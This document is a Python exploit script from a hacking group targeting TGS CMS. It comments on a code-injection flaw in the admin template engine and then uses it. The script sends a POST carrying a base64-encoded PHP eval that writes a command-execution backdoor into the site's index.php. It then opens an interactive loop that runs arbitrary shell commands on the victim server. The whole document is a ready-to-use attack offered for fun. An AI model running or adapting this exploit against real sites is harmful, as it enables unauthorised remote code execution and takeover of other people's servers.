|
# TGS CMS Remote Code Execution Exploit # by 0in # from Dark-Coders Group! # www.dark-coders.pl # Contact: 0in(dot)email[at]gmail(dot)com # Greetings to:die_angel,suN8Hclf,m4r1usz,cOndemned,str0ke # Dork:NULL - because "You cannot kill what you did not create" <- Duality by Slipknot # Let's analyze the vuln: # We've got the: /cms/admin/admin.template_engine.php # first line:"<?" # next 2-22 lines - comments # 23: if ($_GET['option'] == "set_template") { # 24: $filename = "../index.php"; # 25: if ((@is_writeable($filename)) && ($handle = @fopen($filename, "w"))) { # From 50 line to 88 we have definition of file content # 50: $content = '<?php // here programmer define the file to save in "../index.php" # but... # he.. don't think xD # 77:$tgs_template->template_dir = "'.$_POST['template_dir'].'"; # 78:$tgs_template->config_dir = "'.$_POST['config_dir'].'"; # 79:$tgs_template->cms_dir = "'.$_POST['cms_dir'].'"; # 80:$tgs_template->left_delimiter = "'.$_POST['left_delimiter'].'"; # 81:$tgs_template->right_delimiter = "'.$_POST['right_delimiter'].'"; # And.. boom! # 89: if (@fwrite($handle,$content)) { # Just simply exploit for fun: import httplib import urllib print "TGS CMS Remote Code Execution Exploit" print "by 0in From Dark-Coders Group" print "www.dark-coders.pl" print 'Enter target:' target=raw_input() print 'Enter path:' path=raw_input() inject="\";error_reporting(0);eval(base64_decode(\"JGNtZD0kX0dFVFsnenVvJ107c3lzdGVtKCRjbWQpO2V4aXQ7\"));//" exploit=httplib.HTTPConnection(target+':80') headers={'Content-type':'application/x-www-form-urlencoded',"Accept":"text/plain"} data=urllib.urlencode({'right_delimiter':inject}) exploit.request("POST",path+"/cms/admin/admin.template_engine.php?option=set_template",data,headers) print exploit.getresponse().read() while(1): cmd=raw_input("[shell@"+target+"]#") if(cmd=='exit'): quit() shell=httplib.HTTPConnection(target+':80') shell.request("GET",path+"/cms/index.php?zuo="+cmd) print shell.getresponse().read()
|
|
|